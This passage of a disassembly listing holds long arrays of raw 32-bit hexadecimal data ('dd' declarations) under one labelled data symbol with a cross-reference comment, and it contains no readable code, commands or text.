		dd 59FD0FDh, 0FB255AE9h, 788AEF45h, 1FEAE4C4h, 0F0CA97B3h
		dd 0F49D01E4h, 0C7BECC40h, 4B61799Fh, 0F17D93C2h, 2302E94Ah
		dd 5B0590A2h, 454602EFh, 84DDE779h, 558DBB59h, 953117E0h
		dd 4EFC891Ch, 5AADD89Fh, 403BEA57h, 0E953C160h,	0DBA8F1B6h
		dd 540535EDh, 0FD0120CCh, 1E089810h, 0DE6DD4E9h, 38054F4Eh
		dd 0D3B352D1h, 0C2CF018Ch, 9E754FD3h, 5E585C7Bh, 2C938533h
		dd 81A0365Bh, 0AB641D9Ch, 65E921Ch, 1398EEADh, 9B80BA8Ch
		dd 0BF812D86h, 904F58C4h, 2AF70411h, 0C005D098h, 232D5FF3h
		dd 380D7E1Eh, 7E8C81Eh,	8043E680h, 0A920C9B2h, 5AE8900Fh
		dd 0A175F9CEh, 33BF05FCh, 6F67E25h, 665361C1h, 4BC8DFEEh
		dd 373FC1F1h, 0CA015AE6h, 68534C18h, 70C42Ah, 362D5A07h
		dd 0A0B08913h, 4E16DE5Eh, 0F58C99ABh, 0B89A2445h, 0B15E1E00h
		dd 2C70511h, 84275BD9h,	0D454F12Bh, 8A2760E5h, 8EB2539h
		dd 0EB809342h, 430B8293h, 3C9DA29h, 7C111802h, 0E2B7E6C1h
		dd 0F479F90Fh, 0DF396269h
		dd 0E906C653h, 24D7316h, 0A6D43DF2h, 0F65A21DDh, 0BC58029Eh
		dd 77659F26h, 54854A7h,	0A30DB568h, 0E413182Eh,	163AB092h
		dd 0F879C380h, 89B53A72h, 0DF59EB28h, 0ECD5E5B2h, 0E9550D7Eh
		dd 1529849h, 303B96B8h,	681F57E0h, 74DC01BDh, 0EE5B378Ah
		dd 0F43E1389h, 0A0CC27Ch, 0F2FA5805h, 2CA0D6B8h, 0EC2F0396h
		dd 0D6F9E923h, 0B4BBB002h, 81128E3Ah, 0EE56D1CDh, 5223AA4h
		dd 0A069C977h, 2A2AE965h, 0A9A0FDD9h, 6FE156F3h, 0ABA416A8h
		dd 8D1025B7h, 0ADA04FE1h, 0B0434BEBh, 382D7A49h, 7D5AC256h
		dd 0BD1D6E49h, 33C2ED3Dh, 9AEE75D6h, 520C3385h,	0E2D109Ch
		dd 4D8C79EBh, 832CF0A1h, 41A43802h, 19864407h, 0C65A1A12h
		dd 68EB02E3h, 0ECB02BF2h, 0D9C0BD3Eh, 6C79CDF2h, 0B8D5FC03h
		dd 90734EC5h, 0E75AEEBCh, 0F0C3D127h, 256FB836h, 1D93753Bh
		dd 7ECF6AC1h, 0BFE7494h, 15E4A1Ah, 35761D60h, 11709D0Ah
		dd 49CE139Eh, 259F5A34h, 769AD22Ah, 18092DF8h, 2B48B734h
		dd 0C09EF767h, 5A712940h, 22AE29Fh, 26595DC5h, 378EDD15h
		dd 6053DD33h, 0C4E0DA2Dh, 0FB012E14h, 30840F9h,	0BFCF55E3h
		dd 0E909978Bh, 0A2DB94A3h, 0D9C793BDh, 9E838AEh, 561C472Ch
		dd 881DCE10h, 0E1C2CBEEh, 206BB4F5h, 0EB0F01Dh,	5652C827h
		dd 7E6049EAh, 0D3BFDF92h, 52AD173Dh, 800ABB0h, 20C1271Dh
		dd 9F50781h, 635D1562h,	49BA6AE5h, 0FC1C41FDh, 0B7558270h
		dd 3C87DC02h, 8ECE9E7Dh, 0E3682F6Ah, 0ED5E985Fh, 6A9B0419h
		dd 0EBD0DBE9h, 5FC20F41h, 54EC621Fh, 28BB973h, 50F23635h
		dd 7D76DC62h, 0CA0E0635h, 81F1348Ch, 0B95EBDC9h, 0F088C12Ah
		dd 0E0312FAAh, 80042151h, 4D0EA903h, 648C2250h,	6FA933A3h
		dd 487C8813h, 7F257Dh, 351A1D9Bh, 2F5A7E08h, 5A4E27C5h
		dd 822CA880h, 5223F995h, 0DBD03F5h, 0BF144ABEh,	0D5E0140Bh
		dd 57F88E62h, 8F620275h, 5DECEEB9h, 99F065DAh, 0D12DF694h
		dd 0AC84444Eh, 0A6407224h, 27727FB8h, 43565359h, 0C9EA5897h
		dd 0A80F075Fh, 4931E941h, 26E4FBA6h, 18DD257Eh,	0A9E6CAC3h
		dd 0D4810E8h, 9F7EBD54h, 0E908C159h, 0D482DA4Fh, 86717D53h
		dd 78E3E9C2h, 0F3883BF9h, 0AFE662ACh, 0A248D75Ch, 60B05925h
		dd 3B4A5B4Eh, 0CD1DC9FCh, 0E9C6BE37h, 4899911h,	0F673B1F2h
		dd 0CBDC534h, 0CF1878FEh, 3709AB16h, 0D41900AEh, 0E9172D0Bh
		dd 3BC04BF6h, 0C8151BE6h, 9C4B037h, 0FDBFEEFBh,	7F563209h
		dd 0A4930792h, 62C2F2EFh, 78E2D730h, 19051F5h, 9E629BC6h
		dd 690CBD1Bh, 8CA7C03h,	7E2F5317h, 0DDAD8C3Dh, 6813E11Fh
		dd 72EE56D4h, 0C2D5AA8Bh, 42B8FDA9h, 0BE818269h, 0E4FF3144h
		dd 0A504F4D9h, 0EB89778Dh, 9425DFC2h, 0D4CB7D2h, 7A7AD8F8h
		dd 0A104614Fh, 0C315BEDEh, 2602AE4Ah, 0C0980147h, 1E3FF29Fh
		dd 42CEA1F8h, 0E683E9D3h, 0CB828659h, 36E8E70h,	7EE24225h
		dd 173A0075h, 777D772Fh, 95716BAh, 59A3B8A5h, 47E21FD4h
		dd 6454ADCCh, 3AE50BB7h, 420231BDh, 5501C120h, 25E0C589h
		dd 6A5CB5B9h, 0FA015BC5h, 6F657680h, 0C12EB23Ah, 71316DF6h
		dd 0DD9B842Bh, 0B415FC2Bh, 5167A48h, 22140F30h,	0CD85B0BFh
		dd 74033C25h, 6BE001E9h, 602925A7h, 0DF5809E7h,	18A4C04h
		dd 0E9137D62h, 0A4394AA2h, 0B487FC92h, 0CF50A3FBh, 2457CBE9h
		dd 0E5EE66A0h, 80C1DB94h, 8852D4C7h, 0D674FE7Ch, 0A72F4390h
		dd 0D624924Dh, 157C6B1Fh, 3DE91456h, 2C8408DDh,	0D2E2D9C8h
		dd 0AB1C0F57h, 9F91FACBh, 405AF154h, 4A5DB1B0h,	7CB4BCAFh
		dd 8820D090h, 49BE06E7h, 3416EB7Dh, 1482BB1Fh, 42A525EEh
		dd 0BFD853F1h, 25A47093h, 4A4F098Ch, 1CAFA2AFh,	409ABAB3h
		dd 9620FF4Ch, 0A8DD2D16h, 2389C41Eh, 1B95745h, 0B2C804E8h
		dd 60A341F0h, 56B7F1D6h, 0FE5E69C0h, 8ABE5512h,	6852D891h
		dd 7E883F6Fh, 2FC75AE6h, 4DA8EB07h, 0F361276Eh,	0A2214973h
		dd 6558C12Bh, 0EB290162h, 0E4B5EC6Bh, 5EDB382h,	9ECBEF5Eh
		dd 0F462F62Dh, 0BBB60E38h, 0A5F68017h, 0E62C47FFh, 87DE8448h
		dd 50C6D228h, 0A99969F0h, 0B6401D12h, 20726CBAh, 4468385Ch
		dd 814A25CAh, 0ADCB4DD6h, 1225526h, 6775A34Ch, 0A7E28FEh
		dd 8DA1069h, 7C3189FFh,	0C0F4185Fh, 8D189501h, 0F9B7A326h
		dd 94F4C96Ah, 6CEE6404h, 3E1B00C0h, 45294849h, 0B76B1600h
		dd 905CE95Dh, 13ABF195h, 2BB4A13Ch, 0BF232C2Ch,	5BF59762h
		dd 0C8C8AD6Ah, 22C2EBB1h, 0F5FB8953h, 4909AAF8h, 7C0DAD66h
		dd 4E0720CCh, 64F6F45Bh, 0BA68C060h, 4D8721C3h,	5D109F70h
		dd 4CE05A59h, 39681751h, 67E68C7Ah, 654F5302h, 0FF1674E9h
		dd 809CC1A0h, 0C5BE2DC1h, 0D673193Fh, 71D1EDD5h, 482157D8h
		dd 9538B0E8h, 3E69EE4Bh, 3B68A810h, 1147B50Ch, 420BFE25h
		dd 4E5FC098h, 83C5BFE3h, 68B3752Dh, 0E7DA2F51h,	72C2A700h
		dd 51363211h, 4B2109B9h, 2DF690B0h, 13A46308h, 160AB95Bh
		dd 3D206D0h, 40D6FC1Ch,	540C2683h, 0D2F75A12h, 0BBF352Ch
		dd 2D6B4761h, 9C5DB05h,	0E0777A0h, 668C008Ah, 3ED2D731h
		dd 0DBC0F51Ch, 0E9266CEFh, 0C09B5C0Eh, 920459D4h, 804C6615h
		dd 393B111Bh, 5FEC2858h, 13881CE4h, 541EB9D1h, 7F0203E7h
		dd 89226B68h, 1C2A0F6h,	5559FDF7h, 0D7CB2CE7h, 0A5890F9Ah
		dd 2917EF7Eh, 0A8C8AAAh, 1E758D68h, 79A327BCh, 840FBC09h
		dd 58894133h, 1AF49701h, 0F42E628h, 0F0D68E85h,	0B528B9B5h
		dd 0E297B87Dh, 921C7783h, 0EDA15EBFh, 0C92A60C5h, 54876F17h
		dd 68E920EAh, 0C7C41198h, 0CCBBACDFh, 0F04F10Eh, 897F5586h
		dd 5AD52103h, 39E1E5FAh, 0EFCCC0C5h, 6856B60Eh,	0DE47386Eh
		dd 0C589C0EBh, 37D1722Dh, 58FD89Dh, 41087E26h, 6ED10058h
		dd 179473Fh, 0CFEE51h, 2B92E908h, 0FC07C1B1h, 0E20AF349h
		dd 6325C82Ch, 89B8116Ah, 15BE1B45h, 0B184B117h,	0ABED7F80h
		dd 2959FF35h, 9DA3FD50h, 7ABDCE92h, 0F532BDB5h,	495DF155h
		dd 0DBE98C81h, 4D466E65h, 0A00D6939h, 3064E591h, 480C23A3h
		dd 134EFE33h, 81A0194h,	0E914030Ch, 24FFA553h, 0A884015Ah
		dd 3F2C2209h, 7F0B7C52h, 2C9552BCh, 6BA2CDADh, 6CF8E25Ah
		dd 0DBD19E5Bh, 0B80005F5h, 7003101h, 2AE02D4Fh,	90D2FF7h
		dd 773760A3h, 498F7Fh, 1F9119B9h, 49440225h, 0F4352DFFh
		dd 0C8078CE1h, 519741DCh, 82484913h, 7C95E8F3h,	0B02C427Fh
		dd 4041FF09h, 0C8069305h, 85C7C523h, 0E72AB5D9h, 0CBB89309h
		dd 0A1E0E9C5h, 0FEEC7EE3h, 0B945DA85h, 2A97C446h, 72C35807h
		dd 60649FE2h, 960A161Ch, 0CE7C95BDh, 6CB60491h,	7AE6608h
		dd 0F7F02902h, 311E7C76h, 0A22FF277h, 93A6CB85h, 0D051CACBh
		dd 0C5B803A9h, 501B7D24h, 76BBBAD9h, 27EE5A27h,	0CDABF21Eh
		dd 6CDEF377h, 3BFC680Ch, 8BB6DB97h, 0B9E6A138h,	508A749Fh
		dd 3504612Fh, 0DDA4E94Ch, 0B9E65E8h, 576BD133h,	8FF5B825h
		dd 0ABE8A53Eh, 5FE08BEAh, 0C820A9A6h, 71B5D888h, 0E918DDE0h
		dd 0EFA9ACECh, 1AD8955Dh, 1E0CC890h, 12505527h,	7570B506h
		dd 0F0FDA77Fh, 0C44012E9h, 9773B052h, 59427D62h, 0C1917B57h
		dd 50B8D1E9h, 80196D9h,	0DB0D2E00h, 25029D49h, 0CF503E7Dh
		dd 84C6E916h, 7FC798D4h, 0CAD9816Eh, 6889EECCh,	9E18912Fh
		dd 80F6032Bh, 0F59950C5h, 59ECC0A2h, 8800E894h,	0F6EB86E3h
		dd 1708DED5h, 0DC96BDDCh, 2DE4DFDCh, 0EE12809h,	0CD609675h
		dd 4AB2319Bh, 4A84B864h
		dd 733CBAF0h, 0A094CAF3h, 0E8E60950h, 39F5F968h, 81709626h
		dd 3C11A914h, 30AE61D5h, 0C7CD5AF0h, 0DA3DF93Bh, 70E0F807h
		dd 3FC84197h, 58E32FF1h, 912E0E31h, 688EBFD3h, 0B19957D6h
		dd 0F6229386h, 98ACB204h, 89F79607h, 464C3E64h,	21F8247Fh
		dd 0DC585B8Ch, 17099502h, 9FCA9E77h, 0E9E1B7DCh, 0B23A6B3Eh
		dd 6A6B78ACh, 8167797h,	567C4125h, 2E946038h, 2086706Dh
		dd 2EE9B9BDh, 1828DCF5h, 5A9F2D00h, 0BCE94869h,	0EBA380EDh
		dd 7D7066CBh, 5CF42768h, 0A7F21466h, 4EEC710Bh,	0E935815Bh
		dd 312A5DD2h, 9F9DB329h, 644DCAABh, 0A6D8E214h,	1073285Eh
		dd 0D20A5DD8h, 61ECBB0Fh, 965C42EFh, 0A0EBF2DDh, 9FC962E9h
		dd 6AA58871h, 2BF5E9D4h, 75C7564h, 9B42A005h, 0FA36B454h
		dd 0CCAC5BD4h, 124833Ah, 5FD3053Ah, 0EAC4FE0Ch,	0ECC0EEF0h
		dd 2AFE6208h, 0C79516Fh, 3C2F7E83h, 5DEEC126h, 0D4824082h
		dd 32FCD9C3h, 303FD289h, 913DE73h, 0EBD1471Ah, 1B00070Bh
		dd 0B08D25F3h, 0DF314813h, 7E0378ECh, 5DE31DC4h, 600EFD3h
		dd 53455FFDh, 2415EBBBh, 31F7ECBh, 6A303422h, 32FE3B0h
		dd 52416E30h, 4BCB784Eh, 2A268639h, 30D6BD05h, 0B0BB3187h
		dd 0DF12CBF2h, 0AA81436Ch, 0BF0186A7h, 103C708Dh, 0DE05209Dh
		dd 0EC56BD37h, 30420CCFh, 0EA187FA5h, 9698FE7Ch, 795FF92Dh
		dd 0D016659Fh, 1C4F21C4h, 0DC9572B2h, 595FFA6Fh, 25DC2C7Fh
		dd 89D57C42h, 1CE75711h, 0CCCBE906h, 4B79EA28h,	2744AB9Ch
		dd 1693630Bh, 0BE194C6Dh, 2D6A592Eh, 72CF545Eh,	0FE42CCBAh
		dd 8270D2B2h, 0E2CBCE97h, 4BE978EEh, 5BBB49Eh, 0F27BCE45h
		dd 27B9D295h, 51C9A52Fh, 5C0574CBh, 0C5E8A48h, 8448802h
		dd 2CD7B866h, 6F7460C1h, 0DA86EAC2h, 783A3076h,	0F841D0BDh
		dd 441CFEEh, 265AA52h, 0D260A2EAh, 0D55D3682h, 0C7017182h
		dd 0AC60795Fh, 0BC7DA798h, 0AED1D781h, 9BBFB521h, 859E276Bh
		dd 66649006h, 0AB5305Bh, 724AAC1h, 7202F240h, 0A93F4E52h
		dd 0AACF12A3h, 0FFD33BA9h, 84660C99h, 0BE565100h, 3F87501Ch
		dd 1D01E6FAh, 0E97A2B16h, 0A62A7869h, 1A1210FBh, 13204A7Eh
		dd 0F8CFBE78h, 89DA5F2Bh, 0E21A7622h, 47615BC0h, 1B634E9Eh
		dd 0C7550263h, 38A44FE4h, 0BADD9F42h, 0D8DF8024h, 92B49997h
		dd 0DF8F9FF6h, 0F83F7748h, 0F225D5A4h, 7B08DC61h, 0F1D571FAh
		dd 80959659h, 402068D1h, 0A31E479Fh, 96C2FA7h, 0A2C66C25h
		dd 79B53309h, 0F0D29655h, 17A05B9Fh, 9DC07C9Eh,	5D6763EFh
		dd 0AA749F43h, 0B8537F44h, 0D947B16Bh, 0A356800h, 0DB60EA96h
		dd 276263Ah, 85DA2D58h,	82FF5375h, 0BD4D3E7h, 252CE577h
		dd 0C0CC7D54h, 1D8494C8h, 4015975Eh, 519ABF73h,	0B4CF769Fh
		dd 57F8A198h, 0D2D7FE29h, 739EA26Ch, 0D6E90F32h, 0FE6BD35Eh
		dd 525D7A4Ch, 0B661A035h, 0BB5E95D8h, 10FB5688h, 0D74B7F88h
		dd 0FD05F800h, 1B6C6879h, 3856D029h, 20D5DF50h,	13FBF513h
		dd 50BB7F8h, 0BB0B4210h, 0E98BCD79h, 9504D8AFh,	1E4087Bh
		dd 5CBB8AFBh, 38D04A6Bh, 0F4505AD7h, 9D419298h,	707A22DCh
		dd 487A013Eh, 0E7C149ABh, 0B8A03B03h, 8C5F5A68h, 6724E9EEh
		dd 10816866h, 1A2E41Bh,	9F897720h, 88F93C0Ah, 0B60B234Dh
		dd 99D543D3h, 0A13F6673h, 94122A17h, 172DDEAEh,	0CCB3AB6Ah
		dd 0A3B9899Fh, 652CD747h, 806C5E14h, 2F1A278Dh,	138C4AE9h
		dd 0BC87EA86h, 296870DCh, 7727265h, 1BFF9946h, 97F5EE77h
		dd 772D11CFh, 0EB0195A5h, 67EB84A4h, 73F55F10h,	233FC4DCh
		dd 84912FD0h, 65BB30A3h, 0D45CF2A7h, 59722262h,	7259313Bh
		dd 18F98713h, 0C981084Ah, 2C35F20Eh, 1DC0DF54h,	8902F3BFh
		dd 0EFC595CFh, 4B7E56A7h, 577AA9D0h, 5BB81E59h,	588920A7h
		dd 0E9412F54h, 0AB236DF4h, 0FED7067Dh, 696866C7h, 68A85D27h
		dd 81D227A9h, 0DAD97004h, 0C97F6F41h, 8610C7F5h, 2927D353h
		dd 434E5040h, 0A769523Eh, 0D5B64209h, 63881967h, 935AA453h
		dd 177C1F6h, 0C22D2FEFh, 16CF2258h, 0B42752E9h,	0C50EFEA6h
		dd 7DA4CD80h, 0E596425Dh, 0C6240BEEh, 0E68871DCh, 0ACD8238Eh
		dd 290A1670h, 9276048h,	0C018F582h, 58B43DECh, 176853E0h
		dd 17EF9F5Fh, 0D5D2502h, 3570DD50h, 0D4CDED27h,	2F536250h
		dd 5AD12101h, 80911E6Fh, 6649BD55h, 5AB52C51h, 375D4BC1h
		dd 83CDCA3h, 0E7605D82h, 0EB059EB8h, 0C601DC7Ch, 7CBEB83h
		dd 2AF4C9B5h, 0F1C01E61h, 3A667403h, 0C1DDC8B5h, 93C8058Ch
		dd 1CB314Bh, 5067EB92h,	7A5DDAD3h, 7CE92518h, 1B7F26E2h
		dd 425001D5h, 199C0D1h,	5FF26FCDh, 0A4535118h, 0BF804D22h
		dd 0A55D1EA3h, 16B08B65h, 66EC7910h, 0EC2F5C81h, 97571033h
		dd 0C100BC4Bh, 4F675914h, 0A549046Bh, 0F3680262h, 45E95678h
		dd 549CFE57h, 20A7F7BDh, 0FCE9B35Ah, 804E6340h,	8DA5EBACh
		dd 5A32042h, 27C95482h,	0AA533124h, 0F68584A9h,	0E635EB4Dh
		dd 1D394ABh, 0BA433908h, 0B2F32A70h, 95F03150h,	6C50B391h
		dd 8952C2D0h, 9A1150F2h, 0E15C951Eh, 0E5ED4A5Ch, 0BE12C76h
		dd 0DD6A9B2Fh, 0FA60AF85h, 0D5C4C84Bh, 0E90B2745h, 761ED044h
		dd 1FC1304Fh, 0C085B05Ch, 6605E807h, 0F6825053h, 64B2812Ch
		dd 0B93EC388h, 59E90CB9h, 13B6C11Eh, 83CEFE48h,	195A3DD1h
		dd 1274EB7h, 849D135Dh,	405867A4h, 74B06696h, 0CF79419Dh
		dd 0C70AD0B0h, 54B21A77h, 0BDA20A20h, 7F1C1BFAh, 0FFBEB36Ch
		dd 0EEBCF04Bh, 570E33F5h, 0C5DD0BB7h, 40E76ADCh, 4E5D061Ah
		dd 0BF20C095h, 28B9815Ah, 6087891Eh, 9FE1D14Ch,	9A209C78h
		dd 0F48003D0h, 58E5087Eh, 0C107EDB1h, 42D56AEBh, 2CC40485h
		dd 0C13E64AAh, 7FF73ED7h, 4910F4B3h, 0E78101ADh, 68D3571Fh
		dd 2FBD8E40h, 873750D9h, 4E3305FDh, 0EFFA0929h,	4226FC4Eh
		dd 549DE972h, 86BB00E8h, 0BA2A916Bh, 310B8265h,	5F940BBBh
		dd 6251A8DEh, 5A7689BFh, 281FC020h, 94975AF3h, 99B53FAFh
		dd 0AFA2EB2Dh, 4E0A1A47h, 0FC27BE04h, 0BB6D85E1h, 0DAAE93Dh
		dd 5BDA49E8h, 0EACAF117h, 31680630h, 0BC3FE146h, 4F43D4EDh
		dd 975CD27Ch, 55C03579h, 13566857h, 0BC530A47h,	0E85901DFh
		dd 0FD89B53Bh, 0A0C583E4h, 1D74CDB5h, 0BC409B23h, 20D00684h
		dd 0C8202B7h, 0D166603Fh, 0A70EB4D4h, 0BFAC6CD4h, 0A9410B28h
		dd 0FB80843Bh, 0F7661930h, 27C4B0E9h, 0E5C093Ch, 494D1E2h
		dd 9757B05Fh, 0D3209241h, 2D14ECC6h, 97D06410h,	0FA758220h
		dd 2BDA09C2h
dword_4F0044	dd 1F0260C9h, 7829D7A8h, 1A6E9DBAh, 14020B3h, 1233FFFBh
					; DATA XREF: ___:00437DCCo
		dd 0BED0B1E9h, 0F07E0929h, 0D09F98CBh, 0A6D78105h, 5AD7E58Bh
		dd 0B18BB07h, 4EF5C5DFh, 5FAFEEC0h, 0D8C1467Ch,	431B784Dh
		dd 841B77Dh, 141F6344h,	4405FE92h, 38BA9C61h, 8A0BA44h
		dd 0E912D729h, 0B6ABC719h, 2552601Bh, 12145F43h, 0A980E2E9h
		dd 8C112E6h, 34E54A0Ch,	0B8094B59h, 0A4D22D86h,	3F8E176h
		dd 5A5B5D00h, 3D69852Dh, 8CBC724Fh, 0FCFE0741h,	885161AEh
		dd 0D0A631D1h, 85E8E9CCh, 68A690B7h, 55B3DF6Ch,	0BD3FFDD6h
		dd 2B291C0Bh, 737621ABh, 0BF51C42Dh, 940949D0h,	0D7D15C96h
		dd 0E2F0BB3Bh, 4F1D46BFh, 0D613E922h, 0B8C1DBE8h, 504EEF28h
		dd 86CB8127h, 0C5691F28h, 0B5B7EB01h, 0FDE9BFAAh, 29122868h
		dd 0F57017EFh, 0AAC4DB87h, 4D0B9352h, 1336D196h, 8319A75Fh
		dd 12762568h, 0B35A72F1h, 0BE660591h, 9836337h,	0EB3B047Bh
		dd 815D3FF5h, 3D5BD987h, 0FB5385B0h, 90023F9h, 2D2BD573h
		dd 0A025FAE3h, 587DD8D6h, 0BD4A5555h, 0AA569EF0h, 2410CB0h
		dd 0DCF26855h, 63FFA4CFh, 7F319ACAh, 65D4B532h,	0DE4B1909h
		dd 0BA562CCh, 0AE81C77Dh, 0E95650ECh, 7900C04Eh, 0FD3A112Dh
		dd 0D8292E37h, 9D082006h, 0C0FBF840h, 7B02D582h, 8001D473h
		dd 4B2F28F6h, 0BC0406B3h, 6C7D677h, 0BAF1C3F6h,	0A066330Ch
		dd 0BCAFA617h, 0CE1425AAh, 8DE8832Ch, 451B2809h, 2DD2498h
		dd 2F18513Fh, 1FCB5E55h, 110FC933h, 0B9C410DFh,	34726BEh
		dd 0B85F4203h, 58090946h, 0F92C3268h, 417D8C0Fh, 77EEC685h
		dd 2D41D74Ah, 2FB981Bh,	0E919C83Eh, 0BB2FA4Dh, 0DDB7B353h
		dd 80FB1830h, 0C01AEE1Ch, 421706D7h, 0A2C10CFFh, 0E913EB1Ah
		dd 3A209111h, 4F28310Fh, 4150AD59h, 57FC3A08h, 2BA417F1h
		dd 760480E6h, 0F886181Ch, 27FE4E3Eh, 96F03907h,	98EAD13Bh
		dd 0E20F92BAh, 5A672768h, 4C836918h, 0D672B9AAh, 1377E137h
		dd 0FE20E5F2h, 0A92D64F1h, 7EE14EEEh, 10D9D83Ah, 0FE0F7796h
		dd 24A12FC8h, 85AC99BDh, 5D627CC6h, 3FCE2137h, 2F16526Bh
		dd 0E868D848h, 1026399Eh, 0BD020C7Ch, 0FD28016Bh, 68B6F3FAh
		dd 5DE88539h, 8DBA8568h, 652EE071h, 0C9DC485Ah,	9C2C5F56h
		dd 2BFBE824h, 5AC4E3E2h, 17AE1111h, 0E565D001h,	0E84B56BAh
		dd 0EC3F488h, 0FE4150A8h, 0C5837A5Dh, 640B3584h, 0BD1980A8h
		dd 3F5B1E57h, 74F405EEh, 2116CD81h, 1D88003Ah, 0A0902C84h
		dd 0C0B4DF4Dh, 882BC2C7h, 21E9107Ch, 52591376h,	0A8BCBB0Ah
		dd 29062D03h, 0C289F973h, 58FFD6Dh, 700F4003h, 72DE628h
		dd 9A825A4Bh, 0C8290FA2h, 0BE804B29h, 0F231CD68h, 60BF2E50h
		dd 0EE502443h, 0AA2600B4h, 41D9F72Ch, 0AF6E981h, 89B24A05h
		dd 89BF59CBh, 46E82ABAh, 0E9B384ADh, 0D5CD0A9Fh, 6B56A9Ch
		dd 5801416Bh, 3158C2B0h, 0A71D2875h, 6AB5BA90h,	9BE5FD45h
		dd 5C2DED00h, 9C5B0F67h, 6388A81Eh, 7EC98995h, 0EC340989h
		dd 0BF916BCCh, 5AA4061Ah, 4F86C044h, 0E9D94A23h, 1DEF354h
		dd 2EFAD3AEh, 5486829Fh, 0C258FE5Dh, 7D8061EBh,	55A8B49Ch
		dd 82CED695h, 465F1FECh, 22EB895Fh, 1434CCCh, 2BF4C180h
		dd 92CBA63h, 0B8E9B202h, 0B900B150h, 14BA108Ah,	121EE181h
		dd 11CE452h, 0C556EC3Dh, 0C0C27B05h, 0BBCEA321h, 0B3EA853Eh
		dd 0E3DD8483h, 9648EF41h, 8B7FF6DFh, 0E9D6C062h, 8A8488Ah
		dd 27DE00D2h, 0BB199012h, 7D0B2569h, 10D5F889h,	9E84E976h
		dd 7CD26DDh, 0A223652Ch, 0F3D5E49Eh, 12FD1FD0h,	0B8DEE0BCh
		dd 4012E300h, 35D8F771h, 0BFED0B19h, 0BF62298Eh, 75682BD5h
		dd 0BEB9DE04h, 4F523D88h, 0AF29AB54h, 94C9A33Bh, 0B61D18A6h
		dd 0AA1CE7A1h, 0E840D770h, 940159C9h, 53F7812Fh, 12E6245h
		dd 5D26C4F2h, 70E7F140h, 0FABDF855h, 1836FC80h,	340CE050h
		dd 90160DD8h, 0C4B08903h, 8C355E43h, 33415896h,	0D28F05F4h
		dd 4D66EC88h, 0B5444F38h, 0AB8A5D37h, 0A37AA8D2h, 0D0E2275Ch
		dd 66C21A74h, 3CDE097Eh, 0F9C070Dh, 0C7C8C361h,	30D9395Dh
		dd 0C0A804DEh, 6BA3FAA8h, 0E906F10h, 4EF78853h,	7FF98BCEh
		dd 0E12F6E16h, 489A509Fh, 0E336A4Dh, 0D9832B06h, 24AFE9FBh
		dd 2FC3AD50h, 0C59677E7h, 0CAAF54D7h, 0E7424E5Eh, 54B89CE9h
		dd 0A2536711h, 5BF24463h, 37CF2A12h, 0A6D395C7h, 21C028FAh
		dd 89BABCCAh, 397F2CF6h, 953C596Bh, 54525719h, 5F8C3B9Ah
		dd 2C32581h, 0E9418D71h, 0D07A23F7h, 0EB81027Fh, 44208E0Eh
		dd 0D449DE0Dh, 1F35806h, 874E35F3h, 81DBF732h, 0ED17128h
		dd 3B3031EDh, 203441AEh, 69241C18h, 0F113CA2Bh,	0AEFDE3C5h
		dd 71A16251h, 4BB50189h, 7634E368h, 36F51509h, 75AC4A08h
		dd 0E85FCADAh, 7088E922h, 707E9792h, 9A480C2h, 5BA68C00h
		dd 81004C99h, 61BD59C1h, 0B8CE2920h, 0D8D8BF2Ch, 0DACC5CB5h
		dd 4A70EBC0h, 3CFE71E2h, 0EBD4739Fh, 257B4A5Fh,	57E060EEh
		dd 0FA012658h, 0BFF7165Eh, 60DB8F88h, 5BC3698Bh, 504F3351h
		dd 0E9D683E9h, 742460AAh, 285AE51Eh, 80C3FB29h,	48FF5F08h
		dd 8D35C030h, 1A500F60h, 0B33526C7h, 0ED2FF8B1h, 0BD4A54EBh
		dd 1792A998h, 641D26C1h, 2BE38A3h, 15BA55FDh, 4E734C5Bh
		dd 3952AF29h, 0F638800Bh, 1A076B2Eh, 2917F137h,	852A0D9h
		dd 7FA5B4Ch, 5F072C18h,	6805C3CEh, 84F3F55Eh, 0EF1D310Fh
		dd 9885B8B3h, 0BCFFBB78h, 0B41087Bh, 0DB078813h, 0D8575059h
		dd 14E7C177h, 7EC9ABBBh, 28C6018Ah, 0D94D9F5Dh,	34B22EEEh
		dd 75ECBF2Dh, 97F8E597h, 342522A9h, 0E9589CF4h,	0E77D4E2Fh
		dd 0E9079899h, 2516BC33h, 2D19B65Dh, 0F9988C5Eh, 6C0BF3B9h
		dd 82536711h, 9C0E480h,	9D2C2182h, 622544Dh, 4778D69Fh
		dd 1751C95Bh, 78FD5F12h, 0AB529F16h, 4029EC28h,	6C0468BFh
		dd 58454259h, 948C7AFh,	8FEAFEA3h, 0E7900A7Bh, 31076730h
		dd 5ABD74AFh, 2700EF03h, 621EB725h, 0E9481363h,	0B9E88010h
		dd 757D5EB0h, 538E683Ah, 0F6BE1EB5h, 0E03F45CAh, 86172502h
		dd 9F487711h, 0E1633E6h, 1FAC4015h, 5DEA29CFh, 64AE01F2h
		dd 7BE91E86h, 3A0142D5h, 0B295913h, 1231F1D8h, 0F88FF002h
		dd 93A84ED3h, 0BB04AA65h, 472E8241h, 9220B2A7h,	6E1A12EDh
		dd 8DC4EB62h, 0D8E90802h, 39D668AEh, 11C22D6Fh,	42604DDh
		dd 0AB3393D3h, 2136007Ch, 551AF15Ch, 144EADE9h,	0BE931EE3h
		dd 816AF9CDh, 6A96D688h, 1785AC5Eh, 9AAA3689h, 2EEE4549h
		dd 1487A739h, 84E95E54h, 0C29EBC8h, 0E25459F1h,	0FB33580h
		dd 0BF2B5BF3h, 0F5EF3A2Dh, 4F138F10h, 0FE928BB9h, 6D0854DDh
		dd 145725E9h, 0E78D8318h, 4BD2F780h, 0D7E3692h,	25081695h
		dd 0E775DDA4h, 91421E1h, 0E455BBDDh, 8AAC204Eh,	0C908F294h
		dd 22B501DFh, 0C059EC28h, 0C22D68DCh, 86E29874h, 384A97C0h
		dd 0CEBD6875h, 11321251h, 0B04B0E68h, 9000340Bh, 1657B1C6h
		dd 0F321EB04h, 59F86EE9h, 59EA2003h, 0E7D3CAFEh, 11956A70h
		dd 5F6E8814h, 6501C843h, 7655E1Dh, 0B0EB451Eh, 0DF545616h
		dd 2FE388FBh, 28EE0500h, 700D43D3h, 6C7833ACh, 4D5B777Eh
		dd 0CEF520AAh, 720542BCh, 0C8B0E933h, 27788CB2h, 0E19E256Dh
		dd 2C685E0Ah, 1C97AE3Fh, 0B75F20E0h, 2CD10C54h,	7B80501h
		dd 5FBDDFDFh, 62AFBC65h, 0A6043CD1h, 1BD6CB0h, 5C11FABAh
		dd 3B5DEB31h, 1A89D5ACh, 29C3F210h, 7A9F7402h, 0E0038F51h
		dd 8289B69Ah, 0FDAD1EDDh
